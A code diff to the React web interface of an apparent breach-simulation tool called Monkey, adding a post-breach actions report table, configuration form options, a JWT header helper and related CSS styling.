displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
|
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
{ this.state.selectedSection ?
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}>
|
||||
onChange={this.onChange}
|
||||
noValidate={true}>
|
||||
<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
|
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
</div>
|
||||
: ''}
|
||||
</div>
|
||||
|
||||
</Col>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
|||
import {Button, Col} from 'react-bootstrap';
|
||||
import BreachedServers from 'components/report-components/BreachedServers';
|
||||
import ScannedServers from 'components/report-components/ScannedServers';
|
||||
import PostBreach from 'components/report-components/PostBreach';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||
|
@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div style={{marginBottom: '20px'}}>
|
||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<PostBreach data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table'
|
||||
|
||||
let renderArray = function(val) {
|
||||
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
|
||||
};
|
||||
|
||||
let renderMachine = function (data) {
|
||||
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
|
||||
};
|
||||
|
||||
let renderPbaResults = function (results) {
|
||||
let pbaClass = "";
|
||||
if (results[1]){
|
||||
pbaClass="pba-success"
|
||||
} else {
|
||||
pbaClass="pba-danger"
|
||||
}
|
||||
return <div className={pbaClass}> {results[0]} </div>
|
||||
};
|
||||
|
||||
const subColumns = [
|
||||
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }},
|
||||
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'white-space': 'unset' }}
|
||||
];
|
||||
|
||||
let renderDetails = function (data) {
|
||||
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
|
||||
let showPagination = data.length > pageSize;
|
||||
return <ReactTable
|
||||
data={data}
|
||||
columns={subColumns}
|
||||
defaultPageSize={defaultPageSize}
|
||||
showPagination={showPagination}
|
||||
style={{"background-color": "#ededed"}}
|
||||
/>
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Post breach actions',
|
||||
columns: [
|
||||
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
const pageSize = 10;
|
||||
|
||||
class PostBreachComponent extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
let pbaMachines = this.props.data.filter(function(value, index, arr){
|
||||
return ( value.pba_results !== "None" && value.pba_results.length > 0);
|
||||
});
|
||||
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
|
||||
let showPagination = pbaMachines > pageSize;
|
||||
return (
|
||||
<div className="data-table-container">
|
||||
<ReactTable
|
||||
columns={columns}
|
||||
data={pbaMachines}
|
||||
showPagination={showPagination}
|
||||
defaultPageSize={defaultPageSize}
|
||||
SubComponent={row => {
|
||||
return renderDetails(row.original.pba_results);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default PostBreachComponent;
|
|
@ -15,6 +15,12 @@ export default class AuthService {
|
|||
return this._authFetch(url, options);
|
||||
};
|
||||
|
||||
jwtHeader = () => {
|
||||
if (this._loggedIn()) {
|
||||
return 'JWT ' + this._getToken();
|
||||
}
|
||||
};
|
||||
|
||||
hashSha3(text) {
|
||||
let hash = new SHA3(512);
|
||||
hash.update(text);
|
||||
|
|
|
@ -163,6 +163,18 @@ body {
|
|||
* Configuration Page
|
||||
*/
|
||||
|
||||
.linux-pba-file-info, .windows-pba-file-info {
|
||||
display: none
|
||||
}
|
||||
|
||||
.filepond--root li {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
.filepond--root * {
|
||||
font-size: 1.04em;
|
||||
}
|
||||
|
||||
.rjsf .form-group .form-group {
|
||||
margin-left: 2em;
|
||||
}
|
||||
|
@ -412,6 +424,14 @@ body {
|
|||
top: 30%;
|
||||
}
|
||||
|
||||
.pba-danger {
|
||||
background-color: #ffc7af;
|
||||
}
|
||||
|
||||
.pba-success {
|
||||
background-color: #afd2a2;
|
||||
}
|
||||
|
||||
/* Print report styling */
|
||||
|
||||
@media print {
|
||||
|
|
Loading…
Reference in New Issue